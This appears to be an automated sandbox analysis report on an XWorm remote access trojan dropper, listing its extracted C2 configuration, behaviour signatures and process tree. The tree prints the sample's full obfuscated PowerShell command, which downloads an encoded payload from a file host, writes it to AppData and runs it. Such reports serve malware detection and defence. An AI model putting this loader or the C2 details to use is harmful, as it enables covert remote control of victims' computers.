Analysis
- max time kernel
149s - max time network
148s - platform
windows11-21h2_x64 - resource
win11-20260130-en - resource tags
- submitted
13/03/2026, 02:20
General
- Target oci3o4 (1).bat
- Size 507B
- Sample260313-csec3afz8w
- SHA256 7ffcaf8bdd123035296666812a5e843c6468073ac9f0e72ae74a64b6f03989b0
Malware Config
Extracted
-
xworm
-
2.2
-
mouftakhiramin-53951.portmap.host:53951
-
oSb1V8m76tM57fbL
-
install_file
USB.exe
Signatures
- Detect Xworm Payload 2 IoCs
- Xworm
Xworm is a remote access trojan written in C#.
- Xworm family
- Badlisted process makes network request 1 IoCs
Network request originating from process or tool commonly abused by malware.
- Executes dropped EXE 1 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of WriteProcessMemory 2 IoCs
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\oci3o4 (1).bat"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -ExecutionPolicy Bypass -NoProfile -Command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('CiRiYXNlNjQgPSAoaXdyIC1VcmkgJ2h0dHBzOi8vZmlsZXMuY2F0Ym94Lm1vZS9nOWE0ZjAudHh0JykuQ29udGVudAokYnl0ZXMgPSBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCRiYXNlNjQpCiRwYXRoID0gW1N5c3RlbS5JTy5QYXRoXTo6Q29tYmluZSgkZW52OkFQUERBVEEsICdtMzE2eHN3bS5iYXQnKQpbU3lzdGVtLklPLkZpbGVdOjpXcml0ZUFsbEJ5dGVzKCRwYXRoLCAkYnl0ZXMpClN0YXJ0LVByb2Nlc3MgLUZpbGVQYXRoICRwYXRoCg==')) | Invoke-Expression"2⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Roaming\m316xswm.bat"C:\Users\Admin\AppData\Roaming\m316xswm.bat"3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
__PSScriptPolicyTest_jcivyjyr.kha.ps1
m316xswm.bat
memory/1756-1-0x0000026DF0C50000-0x0000026DF0C60000-memory.dmp
memory/1756-0-0x0000026DF0C50000-0x0000026DF0C60000-memory.dmp
memory/1756-7-0x0000026DF0AE0000-0x0000026DF0B02000-memory.dmp
memory/1756-9-0x0000026DF1860000-0x0000026DF2006000-memory.dmp
memory/1756-19-0x0000026DF05A0000-0x0000026DF05B2000-memory.dmp
memory/1756-18-0x0000026DEEC30000-0x0000026DEEC3C000-memory.dmp
memory/3668-20-0x0000000000EE0000-0x0000000000EF2000-memory.dmp
memory/3668-21-0x000000001BA50000-0x000000001BA60000-memory.dmp
memory/3668-22-0x000000001BA40000-0x000000001BA4C000-memory.dmp
memory/3668-23-0x000000001BA50000-0x000000001BA60000-memory.dmp